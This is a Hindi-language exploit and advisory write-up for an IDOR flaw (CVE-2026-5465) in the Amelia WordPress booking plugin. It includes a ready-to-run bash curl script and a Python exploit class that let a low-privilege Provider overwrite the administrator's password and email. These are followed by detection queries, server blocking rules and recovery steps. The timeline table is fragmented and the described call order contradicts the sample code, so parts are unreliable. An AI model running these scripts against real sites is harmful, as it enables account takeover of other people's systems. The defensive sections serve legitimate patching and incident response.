
CVE-2026-5465 के लिए शोषण और विश्लेषण, Amelia WordPress प्लगइन में एक IDOR जो प्रमाणित Provider भूमिका को विशेषाधिकार बढ़ाने और असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ के माध्यम से खाता अधिग्रहण प्राप्त करने की अनुमति देता है।
Amelia प्लगइन में असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) की गंभीर भेद्यता, जो कर्मचारी (Provider) भूमिका वाले प्रमाणित उपयोगकर्ता को WordPress साइट का पूर्ण नियंत्रण (Account Takeover) लेने तक विशेषाधिकार बढ़ाने की अनुमति देती है, जिसमें प्रशासनिक पहुंच भी शामिल है।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2026-5465 |
| सॉफ्टवेयर | Amelia – Appointment Booking Calendar |
| प्रभावित संस्करण | ≤ 2.1.3 |
| पैच किया गया संस्करण | ≥ 2.2.0 |
| प्रकार | असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) / टूटा एक्सेस नियंत्रण |
| वेक्टर | नेटवर्क (प्रमाणित) |
| जटिलता | कम |
| प्रभाव | गंभीर (Account Takeover) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (प्राधिकरण बाईपास) |
यह दोष UpdateProviderCommandHandler क्लास में है जो प्रदाता प्रोफ़ाइल अपडेट को संसाधित करता है।
असुरक्षित प्रवाह:
1. "Provider" (कर्मचारी) के रूप में प्रमाणित उपयोगकर्ता
↓
2. अपडेट एंडपॉइंट पर POST अनुरोध भेजता है
{
"externalId": 1, // एडमिन का ID (हमलावर का नहीं)
"firstName": "हैक किया गया एडमिन",
"email": "[email protected]",
"password": "नया_पासवर्ड"
}
↓
3. सिस्टम यह सत्यापित नहीं करता कि 'externalId' वर्तमान उपयोगकर्ता का है
↓
4. wp_set_password(externalId, new_password) का उपयोग करता है
↓
5. एडमिन का पासवर्ड बदल गया → Account Takeover
संवेदनशील डेटा संसाधित करने से पहले स्वामित्व जांच (Ownership Check) का अभाव:
// असुरक्षित कोड (सरलीकृत)
public function updateProvider($providerId, $data) {
// ❌ यह सत्यापित नहीं करता कि providerId == वर्तमान_उपयोगकर्ता
$provider = Provider::find($providerId);
// बिना सत्यापन के सीधे निष्पादित करता है
wp_set_password($data['password'], $provider->wp_user_id);
}
// सही कोड
public function updateProvider($providerId, $data) {
// ✅ स्वामित्व सत्यापित करता है
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://example.com"
PROVIDER_TOKEN="provider_ka_prमाणित_token"
ADMIN_ID=1
# सुरक्षा NONCE प्राप्त करें (यदि मौजूद है)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# दुर्भावनापूर्ण अपडेट निष्पादित करें
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] यदि उत्तर 200 है, तो एडमिन से समझौता हो गया"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""एडमिन का पासवर्ड बदलने के लिए IDOR का शोषण करता है"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] शोषित: उपयोगकर्ता {target_user_id} से समझौता हुआ")
print(f"[*] नया पासवर्ड: {new_password}")
return True
else:
print(f"[✗] विफल: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] कनेक्शन त्रुटि: {e}")
return False
# उपयोग
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://example.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress ऑडिट लॉग (यदि स्थापित है):
उपयोगकर्ता: [Provider ID]
कार्रवाई: उपयोगकर्ता पासवर्ड बदला गया
प्रभावित उपयोगकर्ता: व्यवस्थापक
टाइमस्टैम्प: [संदिग्ध समय]
सर्वर लॉग (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [उच्च]
→ उत्तर 200 OK
WordPress डेटाबेस:
-- अनधिकृत पासवर्ड परिवर्तन
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- संदिग्ध ईमेल परिवर्तन
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/ पर कई POST प्रयास# WordPress एडमिन पैनल के माध्यम से
1. जाएं: प्लगइन्स > इंस्टॉल किए गए प्लगइन्स
2. खोजें: "Amelia"
3. क्लिक करें: "अभी अपडेट करें"
4. न्यूनतम सुरक्षित संस्करण: 2.2.0+
# WP-CLI के माध्यम से
wp plugin update amelia --allow-root
# WP-CLI के माध्यम से
wp plugin deactivate amelia --allow-root
# FTP/SFTP के माध्यम से
नाम बदलें: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# केवल GET अनुमति दें
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
यदि साइट पहले ही शोषित हो चुकी है:
-- CLI के माध्यम से एडमिन पासवर्ड बदलें
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# प्लगइन स्थापित करें और जांचें: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// wp-config.php में, पुनर्जीवित करें:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF नियम:
- ब्लॉक करें: गैर-whitelisted IPs से /wp-json/amelia/v1/providers/[0-9]+ पर POST
# ऑडिट प्लगइन्स स्थापित करें
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Provider की क्षमताएं सीमित करें
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| तारीख | घटना |
|---|---|
| 2026-01-15 | भेद्यता Amelia टीम को रिपोर्ट की गई |
| 2026-02-01 | पैच उपलब्ध (v2.2.0) |
वर्गीकरण: 🔴 गंभीर - तत्काल कार्रवाई की आवश्यकता
अंतिम अपडेट: अप्रैल 2026
लेखक: सुरक्षा टीम
| पैरामीटर | प्रकार | प्रभाव |
|---|
externalId | पूर्णांक | पहचान परिवर्तन (मुख्य IDOR) |
password | स्ट्रिंग | पासवर्ड संशोधन |
email | ईमेल | रीसेट होने पर सत्र चोरी |
firstName, lastName | स्ट्रिंग | गैर-महत्वपूर्ण डेटा परिवर्तन |
| 2026-02-10 | CVE का जिम्मेदार प्रकाशन |
| 2026-02-11 | जंगल में शोषण |
| आज | तत्काल अपडेट की अनुशंसा |